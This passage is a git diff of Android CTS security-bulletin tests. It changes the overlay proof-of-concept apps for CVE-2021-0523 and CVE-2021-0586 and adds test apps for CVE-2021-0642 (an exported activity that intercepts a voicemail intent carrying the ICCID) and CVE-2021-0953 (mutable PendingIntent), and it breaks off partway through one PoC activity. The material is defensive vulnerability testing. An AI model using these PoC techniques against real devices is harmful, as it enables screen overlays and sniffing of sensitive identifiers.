+ /* Check if the currently running activity is WifiScanModeActivity */
+ try {
+ activityDump = mDevice.executeShellCommand("dumpsys activity");
+ } catch (IOException e) {
+ throw new RuntimeException("Could not execute dumpsys activity command");
+ }
+ Pattern activityPattern = Pattern.compile("mResumedActivity.*WifiScanModeActivity.*\n");
+ if (!activityPattern.matcher(activityDump).find()) {
+ return;
+ }
+ String message = "Device is vulnerable to b/174047492 hence any app with "
+ + "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen";
+ assertNull(message, mDevice.findObject(selector));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
index 0ba69f5bc8f..3e35266716d 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
@@ -17,61 +17,22 @@
package android.security.cts.cve_2021_0523;
import android.app.Activity;
+import android.content.ActivityNotFoundException;
import android.content.Intent;
-import android.content.Context;
import android.net.wifi.WifiManager;
-import android.os.Build;
import android.os.Bundle;
-import android.os.PowerManager;
-import android.os.PowerManager.WakeLock;
-import android.provider.Settings;
public class PocActivity extends Activity {
- private WakeLock mScreenLock;
- private Context mContext;
-
- private void startOverlayService() {
- if (Settings.canDrawOverlays(this)) {
- Intent intent = new Intent(PocActivity.this, PocService.class);
- startService(intent);
- } else {
- try {
- Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
- startActivityForResult(intent, 1);
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
-
- private void stopOverlayService() {
- Intent intent = new Intent(PocActivity.this, PocService.class);
- stopService(intent);
- }
@Override
protected void onCreate(Bundle savedInstanceState) {
- mContext = this.getApplicationContext();
- PowerManager pm = mContext.getSystemService(PowerManager.class);
- mScreenLock = pm.newWakeLock(
- PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP,
- "PocActivity");
- mScreenLock.acquire();
- try {
- Thread.sleep(6000);
- } catch (Exception e) {
- e.printStackTrace();
- }
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
- startOverlayService();
Intent intent = new Intent(WifiManager.ACTION_REQUEST_SCAN_ALWAYS_AVAILABLE);
- startActivityForResult(intent, 2);
- }
-
- @Override
- protected void onDestroy() {
- super.onDestroy();
- mScreenLock.release();
+ try {
+ startActivity(intent);
+ } catch (ActivityNotFoundException e) {
+ // do nothing
+ }
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
index bef2beb81ed..9b013b85944 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
@@ -84,9 +84,8 @@ public class PocService extends Service {
private void showFloatingWindow() {
if (Settings.canDrawOverlays(this)) {
mButton = new Button(getApplicationContext());
- mButton.setBackgroundColor(Color.parseColor("#BEBEBE")); // R-BE G-BE B-BE
+ mButton.setText(getResources().getString(R.string.overlay_button));
mWindowManager.addView(mButton, mLayoutParams);
- mButton.setOnTouchListener(new FloatingOnTouchListener());
new Handler().postDelayed(new Runnable() {
@Override
public void run() {
@@ -96,25 +95,4 @@ public class PocService extends Service {
mButton.setTag(mButton.getVisibility());
}
}
-
- private static class FloatingOnTouchListener implements View.OnTouchListener {
-
- @Override
- public boolean onTouch(View view, MotionEvent event) {
- view.setDrawingCacheEnabled(true);
- view.buildDrawingCache();
- Bitmap bitmap = view.getDrawingCache();
- int pixel = bitmap.getPixel(getScreenWidth() / 2, getScreenHeight() / 2);
- int red = Color.red(pixel);
- int green = Color.green(pixel);
- int blue = Color.blue(pixel);
- view.setDrawingCacheEnabled(false);
- if ((red == 0xBE) && (green == 0xBE) && (blue == 0xBE)) {
- throw new RuntimeException(
- "Device is vulnerable to b/174047492 hence any app with " +
- "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen");
- }
- return false;
- }
- }
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
index 73c8e10e005..3ffb7df9664 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
@@ -16,30 +16,34 @@
package android.security.cts.cve_2021_0586;
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.Uri;
+
import androidx.test.runner.AndroidJUnit4;
import androidx.test.uiautomator.By;
import androidx.test.uiautomator.BySelector;
import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.Until;
-import java.io.IOException;
-import java.util.regex.Pattern;
+
import org.junit.Before;
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertNotNull;
+import java.io.IOException;
+import java.util.regex.Pattern;
@RunWith(AndroidJUnit4.class)
public class DeviceTest {
private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
- private static final String TEST_PKG_BT = "com.android.settings";
private static final int LAUNCH_TIMEOUT_MS = 20000;
+ private Pattern overlayTextPattern;
private UiDevice mDevice;
String activityDump = "";
@@ -68,26 +72,29 @@ public class DeviceTest {
final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
assertNotNull(intent);
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+
/* Start the launcher activity */
context.startActivity(intent);
- Pattern pattern = Pattern.compile(
+ overlayTextPattern = Pattern.compile(
getApplicationContext().getResources().getString(R.string.overlay_button),
Pattern.CASE_INSENSITIVE);
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
/* Wait for the overlay window */
- if (!mDevice.wait(Until.hasObject(By.text(pattern).depth(0)), LAUNCH_TIMEOUT_MS)) {
+ if (!mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)) {
return;
}
+
/* Start the DevicePickerActivity */
startDevicePickerActivity();
- }
- @Test
- public void testOverlayButtonPresence() {
- BySelector selector = By.pkg(TEST_PKG_BT);
- /* Wait for an object of DevicePickerActivity */
- if (mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) {
+ /* Wait until the object of launcher activity is gone */
+ if (mDevice.wait(Until.gone(By.pkg(TEST_PKG)), LAUNCH_TIMEOUT_MS)) {
return;
}
+
/* Check if the currently running activity is DevicePickerActivity */
try {
activityDump = mDevice.executeShellCommand("dumpsys activity");
@@ -98,8 +105,10 @@ public class DeviceTest {
if (!activityPattern.matcher(activityDump).find()) {
return;
}
+
+ /* Failing the test as fix is not present */
String message = "Device is vulnerable to b/182584940 hence any app with "
+ "SYSTEM_ALERT_WINDOW can overlay the Bluetooth DevicePickerActivity screen";
- assertNotNull(message, mDevice.findObject(selector));
+ fail(message);
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
new file mode 100644
index 00000000000..770b5a2089e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+android_test_helper_app {
+ name: "CVE-2021-0642",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
new file mode 100644
index 00000000000..fadda577403
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.cve_2021_0642"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
+ <application
+ android:allowBackup="true"
+ android:label="CVE-2021-0642"
+ android:supportsRtl="true">
+
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ <intent-filter>
+ <action android:name="android.telephony.action.CONFIGURE_VOICEMAIL" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.cve_2021_0642" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
new file mode 100644
index 00000000000..7460b96ae6b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/drawableview"
+ android:layout_width="match_parent"
+ android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
new file mode 100644
index 00000000000..8fc235ba9da
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0642;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.telephony.TelephonyManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import java.util.List;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ static final String APP_TITLE = "CVE-2021-0642";
+ static final String PACKAGE_NAME = "com.android.phone";
+ static final int LAUNCH_TIMEOUT_MS = 20000;
+
+ @Test
+ public void testCVE_2021_0642() {
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ Context context = getApplicationContext();
+ assertThat(context, notNullValue());
+ PackageManager packageManager = context.getPackageManager();
+ assertThat(packageManager, notNullValue());
+ assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+ final Intent intent = new Intent(TelephonyManager.ACTION_CONFIGURE_VOICEMAIL);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ try {
+ context.startActivity(intent);
+ } catch (ActivityNotFoundException e) {
+ assumeNoException(e);
+ }
+
+ // Check if "com.android.phone" exists on the system
+ try {
+ packageManager.getPackageUid(PACKAGE_NAME, 0);
+ } catch (PackageManager.NameNotFoundException e) {
+ assumeNoException(e);
+ }
+
+ // Wait for activity (which is part of package "com.android.phone") that
+ // handles ACTION_CONFIGURE_VOICEMAIL to get launched
+ boolean isVoicemailVisible =
+ device.wait(Until.hasObject(By.pkg(PACKAGE_NAME)), LAUNCH_TIMEOUT_MS);
+
+ // To check if PocActivity was launched
+ BySelector selector = By.enabled(true);
+ List<UiObject2> objects = device.findObjects(selector);
+ boolean isPocActivityVisible = false;
+ for (UiObject2 o : objects) {
+ String visibleText = o.getText();
+ if ((visibleText != null) && (visibleText.equalsIgnoreCase(APP_TITLE))) {
+ isPocActivityVisible = true;
+ break;
+ }
+ }
+ device.pressHome();
+
+ assumeTrue(isVoicemailVisible || isPocActivityVisible);
+
+ String outputMsg = "Device is vulnerable to b/185126149 "
+ + "hence sensitive Iccid could be sniffed by intercepting "
+ + "ACTION_CONFIGURE_VOICEMAIL implicit intent";
+ assertTrue(outputMsg, ((isVoicemailVisible) && (!isPocActivityVisible)));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
new file mode 100644
index 00000000000..1a335c76444
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0642;
+
+import android.app.Activity;
+
+public class PocActivity extends Activity {
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
new file mode 100644
index 00000000000..c4589762fe8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-0953",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml
new file mode 100644
index 00000000000..ddc942fd44a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_0953"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:label="CVE-2021-0953"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+ <activity
+ android:name=".PocVulnerableActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.speech.action.WEB_SEARCH"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0953" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml
new file mode 100644
index 00000000000..13651bd8010
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:app="http://schemas.android.com/apk/res-auto"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml
new file mode 100644
index 00000000000..2d3268bef08
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/pocVulnerableActivity"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml
new file mode 100644
index 00000000000..c027ecfcd78
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="assumption_failure">-1</integer>
+ <integer name="pass">0</integer>
+ <integer name="fail">1</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml
new file mode 100644
index 00000000000..69988650620
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="callback_key">testMutablePendingIntentCallback</string>
+ <string name="message_key">testMutablePendingIntentMessage</string>
+ <string name="status_key">testMutablePendingIntentStatus</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java
new file mode 100644
index 00000000000..ee5dac6d122
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ public static final int TIMEOUT_SEC = 20;
+ public static final String TEST_PACKAGE = "android.security.cts.CVE_2021_0953";
+
+ @Test
+ public void testMutablePendingIntent() {
+ final Context context = getApplicationContext();
+ PocStatus status = new PocStatus();
+ CompletableFuture<PocStatus> callbackReturn = new CompletableFuture<>();
+ RemoteCallback cb = new RemoteCallback((Bundle result) -> {
+ PocStatus pocStatus = new PocStatus();
+ pocStatus.setErrorMessage(
+ result.getString(context.getResources().getString(R.string.message_key)));
+ pocStatus.setStatusCode(
+ result.getInt(context.getResources().getString(R.string.status_key)));
+ callbackReturn.complete(pocStatus);
+ });
+ launchActivity(PocActivity.class, cb); // start activity with callback
+ try {
+ // blocking while the remotecallback is unset
+ status = callbackReturn.get(TIMEOUT_SEC, TimeUnit.SECONDS);
+ } catch (InterruptedException | ExecutionException | TimeoutException e) {
+ assumeNoException(e);
+ }
+ assumeTrue(status.getErrorMessage(), status.getStatusCode() != context.getResources()
+ .getInteger(R.integer.assumption_failure));
+ assertNotEquals(status.getErrorMessage(), status.getStatusCode(),
+ context.getResources().getInteger(R.integer.fail));
+ }
+
+ private void launchActivity(Class<? extends Activity> clazz, RemoteCallback cb) {
+ final Context context = getApplicationContext();
+ final Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClassName(TEST_PACKAGE, clazz.getName());
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(context.getResources().getString(R.string.callback_key), cb);
+ context.startActivity(intent);
+ }
+
+ private class PocStatus {
+ private int statusCode;
+ private String errorMessage;
+
+ public void setStatusCode(int status) {
+ statusCode = status;
+ }
+
+ public void setErrorMessage(String message) {
+ errorMessage = message;
+ }
+
+ public int getStatusCode() {
+ return statusCode;
+ }
+
+ public String getErrorMessage() {
+ return errorMessage;
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java
new file mode 100644
index 00000000000..c28bd75d1b9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java
@@ -0,0 +1,260 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.appwidget.AppWidgetHost;
+import android.appwidget.AppWidgetManager;
+import android.content.ComponentName;
+import android.content.ActivityNotFoundException;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteCallback;
+import android.os.RemoteException;
+import android.widget.RemoteViews;
+
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+import androidx.test.InstrumentationRegistry;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+
+public class PocActivity extends Activity {
+ public static int APPWIDGET_ID;
+ public static int REQUEST_BIND_APPWIDGET = 0;
+ public static final int TIMEOUT_MS = 10000;
+
+ Class mClRemoteViews;
+ Field mActions, mResponse, mFldPendingIntent;
